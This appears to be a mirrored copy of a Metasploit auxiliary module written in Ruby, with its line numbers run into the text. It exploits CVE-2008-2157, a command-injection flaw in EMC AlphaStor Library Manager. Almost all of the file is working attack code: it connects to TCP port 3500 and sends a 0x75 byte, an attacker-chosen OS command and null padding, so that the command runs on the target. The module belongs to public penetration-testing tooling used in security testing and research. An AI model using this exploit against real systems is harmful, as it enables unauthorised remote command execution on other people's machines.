Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(update_info(info,10'Name' => 'EMC AlphaStor Library Manager Arbitrary Command Execution',11'Description' => %q{12EMC AlphaStor Library Manager is prone to a remote command-injection vulnerability13because the application fails to properly sanitize user-supplied input.14},15'Author' => [ 'MC' ],16'License' => MSF_LICENSE,17'References' =>18[19[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],20[ 'CVE', '2008-2157' ],21[ 'OSVDB', '45715' ],22[ 'BID', '29398' ],23],24'DisclosureDate' => '2008-05-27'))2526register_options(27[28Opt::RPORT(3500),29OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > metasploit.txt']),30])31end3233def run34connect3536data = "\x75" + datastore['CMD']37pad = "\x00" * 5123839pkt = data + pad4041# commands are executed blindly.42print_status("Sending command: #{datastore['CMD']}")43sock.put(pkt)4445select(nil,nil,nil,1)4647sock.get_once4849print_status("Executed '#{datastore['CMD']}'...")5051disconnect52end53end545556